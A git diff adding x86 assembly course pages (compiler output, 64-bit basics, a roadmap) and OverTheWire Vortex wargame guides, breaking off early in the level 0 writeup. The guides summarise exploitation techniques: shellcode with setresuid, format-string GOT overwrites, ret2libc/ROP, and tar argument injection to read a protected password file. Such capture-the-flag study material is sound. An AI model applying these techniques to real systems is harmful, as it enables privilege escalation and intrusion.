+++ b/docs/eng/konu_anlatimlari/x86_assembly/19_c_ile_assembly_koprusu.md
@@ -0,0 +1,157 @@
+# 🌉 x86 Assembly — The C-to-Assembly Bridge
+
+> Throughout this course we wrote assembly **by hand** — every `mov`, every `push`, you thought out and placed yourself. But in the real world nobody writes whole programs this way; they write in **higher-level languages** like C, C++, Rust, and then a **compiler** translates them into assembly.
+> So what does that compiler produce? Here is the surprise of this lesson (and the reward of the whole course): what the compiler produces is **the very patterns you wrote by hand in this course.** We'll look at the assembly of a C program and there — `push ebp`, `[ebp+8]`, `add`, `ret` — you'll see nothing but old friends. In that moment, you'll become someone who "can read compiled code."
+
+> **This lesson has code, and we run all of it.** The C source below and the assembly it produces are real: I compiled it with `gcc` on my own machine and took its output.
+
+---
+
+## 📋 Table of Contents
+
+- [Not by Hand, by Compiler: Where Does C Come From?](#not-by-hand-by-compiler-where-does-c-come-from)
+- [Compile a Tiny C Function](#compile-a-tiny-c-function)
+- [Familiar Patterns: The Ones You Wrote by Hand](#familiar-patterns-the-ones-you-wrote-by-hand)
+- [Optimization: Why Did `× 8` Become `shl`?](#optimization-why-did--8-become-shl)
+
+---
+
+## Not by Hand, by Compiler: Where Does C Come From?
+
+Back in 00 we said this: you write assembly → `nasm` (an *assembler*) translates it into machine code. The assembler's job was easy, because assembly was already one-to-one close to machine code — it just turned labels into numbers.
+
+Higher-level languages (like C) sit one layer further up. You write `a + b`; but the processor knows no such thing as "a + b" — it knows `mov`, `add`, registers. The program that does the translation in between is called a **compiler**. The `gcc` we'll use takes C source and **produces assembly** — that is, it does automatically exactly the work you did in your head throughout this course.
+
+And here's the nice part: we can tell `gcc`, "translate, but stop at assembly, don't go all the way to machine code." That way we get to see with our own eyes **which assembly** the compiler produces. Command: `gcc -S` (`-S` = "stop at assembly").
+
+> 🔑 Higher-level languages (C...) are languages the processor doesn't directly understand; the program that translates them into assembly is called a **compiler** (`gcc`). `nasm` translates your asm into machine code; `gcc` translates C into **asm** — that is, the very work you did by hand in this course. With `gcc -S` we can see the asm it produces.
+
+---
+
+## Compile a Tiny C Function
+
+Let's pick a familiar example — the C version of the addition function we wrote by hand in 16. `topla.c`:
+
+```c
+int topla(int a, int b) {
+ return a + b;
+}
+```
+
+In plain terms: "take two numbers (`a`, `b`), return their sum." The same `topla` function from 16, but as three readable lines of C. Now let's tell `gcc` to translate this into 32-bit assembly:
+
+```
+gcc -m32 -S -masm=intel -O0 -fno-pie -fno-pic topla.c -o topla.s
+```
+
+Let's get to know the flags: `-m32` (the 32-bit we've been learning), `-S` (stop at assembly), `-masm=intel` (the Intel syntax used in this course — so it resembles `nasm`), `-O0` (do no optimization, translate plainly). The last two, `-fno-pie -fno-pic`, are a closed box for now: they force the compiler to produce old-style, simple output. Without them, modern gcc would insert extra address-computation code and the output would get murky — and then we couldn't see the clean skeleton. The detail isn't the subject of this course, don't worry. The core of the `topla.s` file it produces:
+
+```nasm
+topla:
+ push ebp
+ mov ebp, esp
+ mov edx, DWORD PTR [ebp+8]
+ mov eax, DWORD PTR [ebp+12]
+ add eax, edx
+ pop ebp
+ ret
+```
+
+Take a minute to look at this output. Is there a single unfamiliar line?
+
+> 💡 **You might be wondering:** *"What's `DWORD PTR [ebp+8]`? We used to write `[ebp+8]`."* Same thing. In `gcc`'s syntax, `DWORD PTR [ebp+8]` = "the **4-byte (dword)** value at address `[ebp+8]`" — in `nasm`, since the size can usually be understood from context, we just wrote `[ebp+8]` for short. Two assemblers have small differences in syntax (just like two dialects); but **the machine instruction they describe is exactly the same.**
+
+---
+
+## Familiar Patterns: The Ones You Wrote by Hand
+
+Now let's **label** that output line by line — and see which lesson each line is familiar from:
+
+```nasm
+topla:
+ push ebp ; ┐ PROLOGUE → lesson 16
+ mov ebp, esp ; ┘ (set up the anchor)
+ mov edx, DWORD PTR [ebp+8] ; 1st argument (a) → lesson 16 ([ebp+8])
+ mov eax, DWORD PTR [ebp+12] ; 2nd argument (b) → lesson 16 ([ebp+12])
+ add eax, edx ; a + b → lesson 09 (add)
+ pop ebp ; ┐ EPILOGUE → lesson 16
+ ret ; ┘ (return to caller) → lesson 15 (ret)
+```
+
+**This table holds the whole reward of the course.** The compiler turned an innocent C line like `a + b` into exactly the skeleton you **built by hand** in 16: set up the `ebp` anchor with the prologue, read the arguments from `[ebp+8]` and `[ebp+12]` (the convention from 16!), sum them with `add` (09) — **the result stays in `eax`, which in cdecl is where the return value lives (16); the "return" part of C's `return a + b;` is exactly this, not a separate instruction** — clean up with the epilogue and return with `ret` (15). Had you looked at this before the course it would have been a mystery; now you **can read it.**
+
+(A small difference: the compiler used `edx` as a scratch register while computing the sum, whereas when we wrote it by hand we used `eax` directly. This is normal — which register it picks as scratch is the compiler's choice; as long as both obey the same convention, the result doesn't change.)
+
+> 🔑 When you translate a C program with `gcc -S`, what you meet are the **patterns** you learned in this course: prologue/epilogue (16), `[ebp+8]` arguments (16), `add`/`sub` (09), `call`/`ret` (15). C is not "magic" — it compiles into these patterns. Learning assembly = **being able to read every compiled program.** This is where the door to reverse engineering opens.
+
+---
+
+## Optimization: Why Did `× 8` Become `shl`?
+
+Above we said `-O0`: "do no optimization, translate plainly." But if you tell the compiler to "**speed it up**" (`-O1`), it behaves far more cleverly — and here you'll see a promise I made you back in 13. In 13 I said "`shl` = ×2ⁿ, compilers turn multiplication by a power of 2 into `shl`, you'll see it in 19." Let's prove it. `carp8.c`:
+
+```c
+int carp8(int x) {
+ return x * 8;
+}
+```
+
+Translate it with `gcc -m32 -S -masm=intel -O1 -fno-pie -fno-pic carp8.c -o carp8.s` (the same flags, the only difference `-O1` instead of `-O0`). What it produces:
+
+```nasm
+carp8:
+ mov eax, DWORD PTR [esp+4] ; take x
+ sal eax, 3 ; x << 3 = x × 8 ← NOT MULTIPLICATION, A SHIFT!
+ ret
+```
+
+**Here is 13's promise.** In 13 I told you `shl`; here gcc wrote `sal` — don't be surprised, this is the instruction you expected: **for shifting left, `sal` and `shl` are exactly the same instruction** (same machine code, same opcode), just two different names. In C you wrote `x * 8`, but the compiler placed no multiplication instruction (`mul`) — instead it placed `sal eax, 3` (shift left by 3 = ×2³ = ×8), because shifting is much faster (13). In C you saw "multiplication"; on the machine there's a **bit shift**. The two give the same result, but the compiler chose the fast one.
+
+A small extra observation: with `-O1` on, there's **not even** a `push ebp`/`mov ebp, esp` prologue — the compiler saw that this tiny function doesn't need the `ebp` anchor, skipped it, and read the argument directly from `[esp+4]`.
+
+Why `[esp+4]` and not `[ebp+8]` like just before? In three steps:
+
+- The moment the function is entered, the **return address** sits at the top of the stack (`[esp]`); the 1st argument is right above it: **`[esp+4]`**.
+- **If** there were a prologue, `push ebp` would push `esp` down 4 bytes, and `mov ebp, esp` would fix the anchor there — so relative to `ebp` the argument would sit 4 bytes farther away: **`[ebp+8]`**.
+- In this function there's **no** prologue, that push never happened; we measure directly from `esp`: **`[esp+4]`**.
+
+("Wasn't `esp` constantly moving, so trusting it was dangerous (16)?" — yes; but this tiny function never touches the stack (no `push`/`pop`/`call`), so `esp` **doesn't budge** from start to finish, and here trusting it is safe.)
+
+(In 16 we said "the prologue is a *convenience*, not an obligation"; here's the proof.) Optimized code looks more "cunning" than what you wrote by hand — but underneath it are always the instructions you know.
+
+> 🔑 With `-O1`/`-O2` (optimization) on, the compiler gets smart: `× 8` → `shl/sal` (13), it drops the unnecessary prologue, it uses registers cunningly. That's why optimized code can look unfamiliar at first glance — but its bricks are always the bricks of this course. In reverse engineering, most of the work is taking apart these "cunning but familiar" patterns.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Higher-level language (C) → COMPILER (gcc) → assembly. (nasm: your asm to machine code; gcc: C to asm.)
+ gcc -m32 -S -masm=intel → SEE the asm the compiler produces (-S = stop at asm).
+☐ int topla(int a,int b){return a+b;} → THE COMPILER PRODUCED THIS:
+ push ebp / mov ebp,esp (PROLOGUE, 16)
+ mov ..., [ebp+8] / [ebp+12] (arguments, 16)
+ add (09)
+ pop ebp / ret (EPILOGUE 16 + ret 15)
+ → i.e. the same as what you wrote BY HAND. C is not magic; it compiles into these patterns.
+☐ Optimization (-O1): x*8 → sal eax,3 (13's ×2ⁿ, a shift not a multiply); the unnecessary prologue is dropped.
+ Optimized code looks "cunning" but its bricks are always this course's.
+☐ THE BIG WIN: knowing assembly = BEING ABLE TO READ EVERY COMPILED PROGRAM. This is the door to reverse engineering.
+☐ DWORD PTR [ebp+8] (gcc) = [ebp+8] (nasm): same instruction, different dialect.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [16_calling_convention.md](./16_calling_convention.md) — The prologue/epilogue and `[ebp+8]` arguments the compiler produces; this lesson is the proof that it's "really like that"
+- [13_bit_islemleri.md](./13_bit_islemleri.md) — The promise "`shl` = ×2ⁿ, compilers turn multiplication into a shift"; here it is, `x*8 → sal eax,3`
+- [09_aritmetik.md](./09_aritmetik.md) — `add`; C's `a + b` comes down to the same instruction
+- [00_buradan_basla.md](./00_buradan_basla.md) — The promise "when you compile a C program and look at its asm you'll see familiar patterns"; here it held true
+
+---
+
+**Previous topic:** [18_ilk_etkilesimli_program.md](./18_ilk_etkilesimli_program.md)
+**Next topic:** [20_buradan_nereye.md](./20_buradan_nereye.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md b/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
new file mode 100644
index 0000000..fab3f6d
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
@@ -0,0 +1,131 @@
+# 🧭 x86 Assembly — Where To From Here?
+
+> You did it. In 00 the computer was "a box"; now you can look inside that box and give it orders in its lowest language. This final lesson won't teach a new instruction — instead it will take a look at **where you came from**, then map out **where you can go.**
+> Because this course is not an *ending*, it is a *foundation.* What you learned (how the machine really works) is a floor you can build a great deal on top of. Now let's look at which buildings can be raised on that floor.
+
+> **There is only a single piece of code in this lesson** (a taste of 64-bit), and it is real: I compiled and ran it on my own machine. The rest is a roadmap.
+
+---
+
+## 📋 Table of Contents
+
+- [What Did You Learn? A Short Look Back](#what-did-you-learn-a-short-look-back)
+- [Next Stop: Moving to 64-bit](#next-stop-moving-to-64-bit)
+- [Reverse Engineering: Reading Someone Else's Code](#reverse-engineering-reading-someone-elses-code)
+- [Binary Exploitation: Bending the Flow](#binary-exploitation-bending-the-flow)
+- [Resources and a Final Word](#resources-and-a-final-word)
+
+---
+
+## What Did You Learn? A Short Look Back
+
+Stop for a minute and look at the road you've traveled. When you started this course, even the word "register" was foreign; now you have all of this:
+
+- **The machine model** (Unit 0): memory = numbered boxes, registers = the worker's hands, binary/hexadecimal, how the worker works without ever reasoning.
+- **First instructions** (Unit 1): `mov`, memory & pointers (`[...]`), little-endian, arithmetic (`add`/`sub`, two's complement), and **watching each instruction live** in GDB.
+- **Flow** (Unit 2): flags & `cmp`, jumps (`jmp`/`jz`/`jl`), loops, bit operations — that is, **decision** and **repetition.**
+- **Parts & the OS** (Unit 3): the stack, `call`/`ret`, the calling convention, system calls — and finally a real program that **asks you a question and answers it.**
+- **The bridge** (Unit 4): being able to **read** the assembly of a C program.
+
+So now you know, not abstractly but **concretely**: what a computer really does when it "runs." This is a floor that even most programmers can't see clearly. From here, there are three main roads.
+
+> 🔑 This course is a foundation, not an ending. The machine model + instructions + flow + the OS interface + reading compiled code — you have all of it. Three forward roads: **going deeper into 64-bit**, **reverse engineering**, **binary exploitation.** All three rise on top of the floor you're standing on here.
+
+---
+
+## Next Stop: Moving to 64-bit
+
+Throughout this course we learned **32-bit** — because it's simpler and shows the concepts more cleanly. But most machines today run **64-bit**. The good news: the ideas are **exactly the same**; only a few names and details change. Let's write the same "Hello" in 64-bit (`merhaba64.asm`):
+
+```nasm
+section .text
+ global _start
+_start:
+ mov rax, 1 ; sys_write (1 in 64-bit — was 4 in 32-bit)
+ mov rdi, 1 ; screen (rdi instead of ebx)
+ mov rsi, mesaj ; address (rsi instead of ecx)
+ mov rdx, uzunluk ; length
+ syscall ; NOT int 0x80 → syscall
+
+ mov rax, 60 ; sys_exit (60 in 64-bit — was 1 in 32-bit)
+ mov rdi, 0
+ syscall
+```
+
+Assemble it with `nasm -f elf64 ... && ld ...`, run it → it prints `Hello (64-bit world)` to the screen. What changed is the grown-up version of things you already know:
+
+| | 32-bit (what you learned) | 64-bit |
+|---|---|---|
+| Registers | `eax`, `ebx`... (32 bit) | `rax`, `rbx`... (64 bit) + 8 new: `r8`–`r15` |
+| System call | `int 0x80` | `syscall` |
+| Call numbers | write=4, exit=1 | write=1, exit=60 |
+| Syscall arguments | `ebx, ecx, edx` | `rdi, rsi, rdx`... |
+
+As you can see, the **concept** never changed — "put a value in a register, write the number into `rax`, make the call." Only the names and a couple of numbers differ. If you understood 32-bit, moving to 64-bit is an afternoon's work.
+
+(The only real *new habit* is this: in 64-bit you put a **function's** arguments — instead of `push`ing them onto the stack and reading from `[ebp+8]` as you did in 16 — directly into **registers** (`rdi`, `rsi`, `rdx`...). So the `[ebp+8]` stack-argument model from 16 is specific to 32-bit cdecl; inside a 64-bit function you won't see `[ebp+8]` — you'll want to know this in reverse engineering. The fact that the *syscall* arguments in the table above sit in registers is already an example of the very same logic.)
+
+> 🔑 64-bit is the **grown-up version** of what you learned: `e__` registers become `r__` (+ `r8`–`r15`), `syscall` replaces `int 0x80`, the call numbers change. Most of the concepts (register, stack, syscall) are the same; the **idea** of the calling convention is the same too — the only real difference is that function arguments move to **registers** instead of the stack. If 32-bit is a solid foundation, 64-bit is just a new dialect.
+
+---
+
+## Reverse Engineering: Reading Someone Else's Code
+
+In 19 we cracked the big door ajar: you were able to read the assembly of a C program. **Reverse engineering** is exactly the scaled-up version of that — but this time **without** having the source code (C) in hand, answering the question "what does this do?" just by looking at the compiled program (the binary).
+
+Why is it done? To understand how a program with no source works: to analyze a virus, to find a security hole, to understand a closed format, or simply out of curiosity to say "how did they do this?" And the new eye you've just gained — the eye that recognizes `push ebp`, `[ebp+8]`, `call` — is **exactly the foundation** of this work.
+
+You've already met, or will meet, the tools that make this easier:
+
+- **`objdump -d`** — dumps the assembly of a binary (we used `objdump` in this course).
+- **GDB** — stepping through live while it runs (the course's most powerful tool; the same in RE).
+- **Ghidra / radare2 / Cutter** — professional tools for analyzing huge programs; they even turn assembly into readable "pseudo-C." But whether that pseudo-C is correct can only be understood by someone who **can read assembly** — that is, you.
+
+> 🔑 **Reverse engineering** = looking at a compiled binary without its source code and saying "what does it do." It's the source-less version of what you did in 19 (reading asm). The tools (`objdump`, GDB, Ghidra) speed the work up, but the core skill is the **assembly-reading** eye you gained in this course.
+
+---
+
+## Binary Exploitation: Bending the Flow
+
+The third road is the most exciting. Reverse engineering asks "what does the program do?"; **binary exploitation** goes one step further: *"how do I force the program to do something its author **never wanted**?"*
+
+And here is where the finest gift the course gave you is rewarded: **the stack you learned in 14 is the heart of exploitation.** Recall — when you make a `call`, the **return address** was written onto the stack (15). What if a program stores the data it takes from the user on the stack without any bounds, and that data overflows and writes **over the return address**? Then `ret` no longer returns to where the program should go, but to the address **you** placed there — you've bent the flow. This is called a *buffer overflow*, and it is the door to an entire world of security.
+
+Everything you need to understand this (the stack, `call`/`ret`, the return address, memory) you gathered in this course. And you're lucky: inside this very repo there are series that continue right from here —
+
+- **[The Binary Exploitation series](../binary_exploitation/00_buradan_basla.md)** — the direct continuation of this course; start *bending* the stack.
+- **OverTheWire** wargames (especially **Narnia**, **Behemoth**) — get your hands dirty and learn by exploiting real vulnerabilities.
+
+> 🔑 **Binary exploitation** = forcing a program into behavior its author didn't want. The classic example is the *buffer overflow*: overflowing data crushes the **return address** on the stack, and `ret` returns to wherever you want (14+15!). This course's stack is the very heart of exploitation — the continuation is in the repo's binary_exploitation series and on OverTheWire.
+
+---
+
+## Resources and a Final Word
+
+Wherever you go, a few solid compasses:
+
+- **This repo** — [x86_assembly](./00_buradan_basla.md) (this series you just finished), [binary_exploitation](../binary_exploitation/00_buradan_basla.md), and the OverTheWire solutions. It continues in the same "from the very bottom up" spirit.
+- **Don't let go of GDB.** The most powerful thing you learned in this course wasn't a command but a **habit**: "if you don't understand it, step through it, see it with your own eyes." In 64-bit, in RE, in exploitation — it's your best teacher everywhere.
+- **Follow your own curiosity.** If you ever wonder how a program works, look inside it with `objdump -d`. That output won't feel foreign to you anymore. Not a warning but an encouragement: a real binary — especially one that's optimized, PIE, and stripped of symbols — looks messier than this course's spotless `-O0` examples; PLT/GOT jumps, nameless chunks of code... No panic, the bricks are still familiar — just more of them, laid out more cunningly. Scale up the `-O1` cunning you saw in 19, and that's all it is.
+
+And a final word. The promise at the start of this course was this: *no magic, no hidden work, no invisible rules sneak in between.* I hope it held. Nothing a computer does is magic — it's just very simple operations stacking on top of one another at an unimaginable speed, with exactly the instructions you can now read. That box is no longer closed.
+
+From here on it's up to your curiosity. Safe travels. 🚀
+
+> 🔑 This course was the foundation; three roads (64-bit, RE, exploitation) lead out from here. Your most lasting tool isn't a command but the habit **"if you don't understand it, step through it in GDB, see it with your own eyes."** And the promise from the start: there is no magic in the machine — just instructions you can now read. The box is open.
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — Recall where you started; every item on the "what you'll be able to do at the end" list is now in your hands
+- [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md) — Reading compiled code; the direct first step of reverse engineering
+- [14_stack.md](./14_stack.md) — The heart of binary exploitation; the basis of the idea of "crushing the return address"
+- [../binary_exploitation/00_buradan_basla.md](../binary_exploitation/00_buradan_basla.md) — The direct continuation of this course: start *bending* the flow you learned
+
+---
+
+**Previous topic:** [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md)
+**Next step:** [The Binary Exploitation series](../binary_exploitation/00_buradan_basla.md) — 🎉 **The x86 Assembly series is completed here.** Keep bending the stack you learned.
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konular.html b/docs/eng/konular.html
index 1f1b15c..9993b81 100644
--- a/docs/eng/konular.html
+++ b/docs/eng/konular.html
@@ -27,7 +27,7 @@
topic guides
resources
- TREN
+ TREN
★ GitHub
diff --git a/docs/eng/overthewire/WARGAMES.md b/docs/eng/overthewire/WARGAMES.md
index a385335..f61e8b7 100644
--- a/docs/eng/overthewire/WARGAMES.md
+++ b/docs/eng/overthewire/WARGAMES.md
@@ -11,8 +11,8 @@
## 🗺️ Recommended Order
```
-Bandit → Leviathan → Krypton → Narnia → Behemoth → Utumno → Maze
-(basics) (intro RE) (crypto) (binary) (medium) (advanced) (mixed/capstone)
+Bandit → Leviathan → Krypton → Narnia → Behemoth → Utumno → Maze → Vortex
+(basics) (intro RE) (crypto) (binary) (medium) (advanced) (capstone) (broad binexp)
Natas — web security, separate branch, start whenever you like
```
@@ -27,6 +27,7 @@ Natas — web security, separate branch, start whenever you like
| [Behemoth](#-behemoth--intermediate-binary-exploitation) | 7/10 | 9 | PATH hijack, format string, symlink, UDP, BOF |
| [Utumno](#-utumno--advanced-binary-exploitation) | 9/10 | 9 | Arbitrary write, integer bugs, jmp_buf/PTR_MANGLE |
| [Maze](#-maze--mixed-binary-exploitation--re) | 5/10 | 9 | TOCTOU, lib hijack, self-modifying, FSOP, ELF parser, format string |
+| [Vortex](#-vortex--broad-binary-exploitation-from-the-network) | 6/10 | 27 | Network/endianness, overflow, format string, heap, ROP, crypto, RE/keygen |
---
@@ -159,6 +160,28 @@ it brings together all the techniques in the series, which is why despite a 5/10
---
+## 🌀 Vortex — Broad Binary Exploitation from the Network
+
+A 27-level lab that **starts** with network/socket programming and then walks the entire classic
+binary-exploitation curriculum: endianness → overflow → format string → heap → ret2libc/ROP, then
+cryptanalysis + RE/keygen. Unlike Narnia/Behemoth it isn't a single pattern; source is **not given**
+at most levels → you disassemble the binary yourself. The "advanced" topics (heap/ROP) sit
+surprisingly in the **middle band (8–13)**; the upper half (14–26) leans toward crypto + RE.
+
+> 📌 **Read before starting:** [00 - Vortex - BAŞLAMADAN ÖNCE OKUYUNUZ.md](./vortex/00%20-%20Vortex%20-%20BAŞLAMADAN%20ÖNCE%20OKUYUNUZ.md) — prerequisite knowledge & level map.
+>
+> ⚠️ 32-bit (x86) little-endian. The entry point is **not** SSH — it's a **port 5842** network task; after that, **port 2228**. Passwords are hidden in the writeups (`**********`).
+
+| File | Topic / Technique | Levels |
+|---|---|---|
+| [vortex 0 -> 1.md](./vortex/vortex%200%20-%3E%201.md) | Network socket + endianness — sum 4×uint32 in host byte order (little-endian) and send it back | 0 → 1 |
+| [vortex 1 -> 2.md](./vortex/vortex%201%20-%3E%202.md) | Unbounded `ptr` decrement → write `0xca` over its own MSB → embedded `execlp` shell | 1 → 2 |
+| [vortex 2 -> 3.md](./vortex/vortex%202%20-%3E%203.md) | `tar` argument injection (setuid) — have it archive the password file, read it from the group-readable archive | 2 → 3 |
+
+> 🚧 This section is growing — new levels will be added as they're solved (27 total).
+
+---
+
## 🛠️ How to Use
1. Go to [OverTheWire](https://overthewire.org/wargames/)
diff --git "a/docs/eng/overthewire/vortex/00 - Vortex - BA\305\236LAMADAN \303\226NCE OKUYUNUZ.md" "b/docs/eng/overthewire/vortex/00 - Vortex - BA\305\236LAMADAN \303\226NCE OKUYUNUZ.md"
new file mode 100644
index 0000000..d78b638
--- /dev/null
+++ "b/docs/eng/overthewire/vortex/00 - Vortex - BA\305\236LAMADAN \303\226NCE OKUYUNUZ.md"
@@ -0,0 +1,120 @@
+# Read Before You Start Vortex — Prerequisites & Topic Guide
+
+> This document describes which topics you need to master before starting the OverTheWire
+> **Vortex** wargame. Vortex is a **32-bit x86 Linux binary exploitation** game, but
+> interestingly it **starts with network/socket programming** (27 levels: vortex0 → vortex26).
+> Unlike Narnia/Behemoth, it doesn't drill a single pattern but walks through **the entire
+> classic binary exploitation curriculum**: overflow, format string, heap, ret2libc/ROP, then
+> cryptanalysis + RE/keygen.
+> (This document **contains no solutions** — only prerequisites and a map of the terrain.)
+
+---
+
+## 0. What is Vortex, what does it expect?
+
+- **The entry is different:** vortex0 doesn't start with SSH but by connecting to the port **`vortex.labs.overthewire.org:5842`** and solving a network task; as a reward it hands you the vortex1 credentials.
+- **After that it's SSH:** `ssh vortexN@vortex.labs.overthewire.org -p 2228` (⚠️ **2228**, not 2223 — that's Leviathan).
+- The server is **32-bit x86, little-endian**. Files live under `/vortex/`; each level program is `-r-sr-x---` (**setuid** to the next user).
+- The target password is `/etc/vortex_pass/vortexN` (readable only by that user) → the general idea is to exploit the program and get it to read the file with that user's privileges.
+- **Source code is NOT provided for most levels** → you disassemble the binary yourself with `objdump`/`gdb`. This is the concrete reason it's said to "teach assembly."
+- **Prerequisite wargames:** Bandit → Narnia → Behemoth → Utumno (then Vortex). Difficulty ~6/10, but the **range of topics** is very broad.
+
+**Surprise warning:** the "advanced memory corruption" (heap/ROP) you'd expect **is not** in the upper half but clusters in the middle region (8–13). The upper half (14–26) is more about **cryptanalysis + reverse engineering + keygen**.
+
+---
+
+## 1. Level Map (conceptual — not solutions)
+
+| # | Theme | Key concept |
+|---|------|----------------|
+| 0 | **Network + endianness** | socket client; read/sum/send 4×uint32 in **host byte order** (little-endian) |
+| 1 | **Unbounded pointer** | `ptr` decrement (no bound) → overwrite itself → embedded shell condition |
+| 2 | **Argument injection** | setuid program passes a user argument to `tar` as an operand |
+| 3 | **Shellcode + setuid** | stack overflow; the shell drops privileges → `setresuid` in the shellcode |
+| 4 | **Format string** | leak with `%x` / write with `%n`; argc-check twist; GOT overwrite |
+| 5 | **Crypto brute** | short (5-character) MD5 brute force |
+| 6 | **Reverse engineering** | no source → disassemble and find the hole yourself |
+| 7 | **CRC32 inversion** | produce input that reaches the target checksum |
+| 8 | **Dynamic linking / PLT-GOT** | analyze a dynamically-linked binary + function pointer |
+| 9 | **NX / ret2libc** (no official description → verify yourself) | defeat a non-executable stack with code reuse |
+| 10 | **PRNG seed** | recover the seed from 20 numbers (30-second limit) |
+| 11 | **Heap** | phkmalloc (OpenBSD) metadata corruption |
+| 12 | **NX bypass** | ret2libc / ROP |
+| 13 | **ROP + size constraint** | NX + a payload that fits into a very small space |
+| 14 | **Weak stream cipher** | RC4-type + traffic analysis |
+| 15 | **Known-plaintext** | 8-byte A–Z key brute + file-signature verification |
+| 16 | **Partial key** | 100 bits of a 128-bit key given, ~28 bits brute |
+| 17 | **Working backwards** | no target given; infer the vulnerability from black-box observation |
+| 18 | **Predictable seed** | weak `urandom`/PRNG seeding |
+| 19 | **Keygen** | break a weak binary encryption and write a key generator |
+| 20 | **Integer overflow** | remote integer boundary bug |
+| 21 | **Reverse-me** | solve it by understanding the encryptor |
+| 22 | **Object analysis** | verification logic from `.o` files → keygen |
+| 23 | **"Mirror"** (unclear) | title hint; independent research |
+| 24 | **glibc `random_r`** | recompute the seed from the RNG internal state |
+| 25 | **MISSING** | no longer active (24→26 bridge) |
+| 26 | **Meta-final** | write your own level + its exploit (the end) |
+
+> The last technical level in practice is **24** (25 is missing, 26 is meta). vortex9/23 have no official description → verify yourself in the box.
+
+---
+
+## 2. Network & Byte Order — the heart of vortex0
+
+- **host byte order** = the machine's natural order (x86 → **little-endian**); **network byte order** = big-endian. `htonl`/`ntohl` convert between the two.
+- Raw socket: `recv` may return fewer bytes → complete it in a loop; interpret/pack binary data with `struct.pack/unpack` (`<`=little).
+- 32-bit overflow: the sum of 4 numbers exceeds 32 bits → `& 0xFFFFFFFF` (mod 2³²).
+
+## 3. x86 (32-bit) Assembly & Memory
+
+- **Stack frame:** `push ebp; mov ebp,esp`; locals at `ebp-N`, the saved return address at `[ebp+4]`. The overflow distance (offset) is computed from this layout.
+- **Calling convention (cdecl):** arguments pushed onto the stack right-to-left; the caller cleans up. Decisive in format-string and ret2libc.
+- **Registers:** EAX (return), EBP/ESP (frame), EIP (target). Addresses are 4-byte **little-endian**.
+- **Syscall:** `int 0x80` + EAX (number) / EBX,ECX,EDX (args). (**Not** the 64-bit `syscall`+RDI/RSI.)
+- Reading: `objdump -d -M intel`, `pwndbg`/`gdb` (breakpoint, `x/`, `info registers`).
+
+## 4. Shellcode
+
+- `execve("/bin/sh")` (32-bit); if it's embedded in a string it must be **null-free** (`strcpy` cuts off at 0x00 → zero out registers with xor).
+- On setuid levels the shell may drop privileges → `setreuid/setresuid(geteuid())` in the shellcode.
+- `pwntools`: `asm(...,arch='i386')`, `shellcraft.i386.linux.sh()`, `cyclic`/`cyclic_find` (offset).
+
+## 5. Cryptanalysis & RNG (upper half)
+
+- Short/weak hash (MD5), weak stream cipher (RC4), known-plaintext, constrained-keyspace brute.
+- The **PRNG vulnerability** trio (10, 18, 24): recomputing the seed/state from output; glibc `random_r` internal structure.
+- RE/keygen: extract the verification algorithm with `objdump`/`radare2` and reverse-code it.
+
+## 6. Security Mitigations — check FIRST on every level
+
+| Mitigation | Check | Effect |
+|--------|---------|--------|
+| NX/DEP | `checksec`, `readelf -l` GNU_STACK | off → shellcode; on → ret2libc/ROP |
+| Canary | `checksec` | overflow strategy (present on some levels in Vortex) |
+| ASLR | usually not deterministic → confirm per level | address finding |
+
+---
+
+## 7. Tools
+
+`ssh`, `nc`, `python3` (socket + `struct`), `objdump -d -M intel`, `readelf`, `nm`, `strings`,
+`gdb`/`pwndbg`, `strace`/`ltrace`, `gcc -m32`, `nasm`, `pwntools` (`ssh`/`process`/`p32`/`asm`/`cyclic`/`ROP`),
+`ropper`/`ROPgadget` (ROP), `radare2` (RE/keygen).
+
+## 8. "Am I Ready?" Checklist
+
+- [ ] I can write a TCP socket client and apply the **host vs network byte order** difference
+- [ ] I can read a 32-bit stack frame + `objdump` disasm (source isn't provided!)
+- [ ] I know null-free `execve` shellcode + setuid privilege-drop (`setresuid`)
+- [ ] I can apply format string `%n` / GOT overwrite logic
+- [ ] I know how to defeat NX with ret2libc / ROP (ropper/ROPgadget)
+- [ ] I've heard of heap (phkmalloc) and PRNG-seed recomputation concepts
+- [ ] I can extract an algorithm for a keygen with `radare2`/`objdump`
+
+If you say "yes" to most of these, you're ready for Vortex. If you have "no"s, first solidify **Narnia + Behemoth**.
+
+---
+
+> This guide is only a **topic/prerequisite** list, it contains no solutions. OverTheWire asks
+> that solutions not be published on the web — these notes are for your personal study. Passwords
+> in this repo are always kept **masked** (`**********`).
diff --git a/docs/eng/overthewire/vortex/vortex 0 -> 1.md b/docs/eng/overthewire/vortex/vortex 0 -> 1.md
new file mode 100644
index 0000000..273999c
--- /dev/null
+++ b/docs/eng/overthewire/vortex/vortex 0 -> 1.md
@@ -0,0 +1,72 @@
+# OverTheWire — Vortex Level 0 → 1
+
+> Goal: `vortex1` password via the `vortex0` network task. Result: **`**********`** (hidden)
+> Technique: Read 4×uint32 from a TCP socket (**host byte order = little-endian**), sum them, send it back.
+> Environment: 32-bit x86 (little-endian). Entry is **not** SSH — the game starts with the **port 5842** network service.
+
+---
+
+## 1. Connection
+There is no SSH on vortex0; the game starts with a network task. A plain `nc` won't do (binary arithmetic is required), but to see the service:
+```bash
+nc vortex.labs.overthewire.org 5842 # sends 16 bytes (4×uint32), expects a 4-byte result
+```
+All subsequent levels: `ssh vortex1@vortex.labs.overthewire.org -p 2228`
+
+## 2. The Task
+Official: *"connect to port 5842, read 4 unsigned ints in **host byte order**, sum them, send it back → vortex1 credentials."*
+Critical nuance: **host byte order** = the machine's native order. The server is 32-bit x86 → **little-endian** (**not** network/big-endian). The sum wraps to 32 bits (mod 2³²), and the result is sent as 4 raw bytes.
+
+## 3. Recon — look at the raw bytes first
+Before writing blind code, without sending anything, read the 16 bytes and see both interpretations:
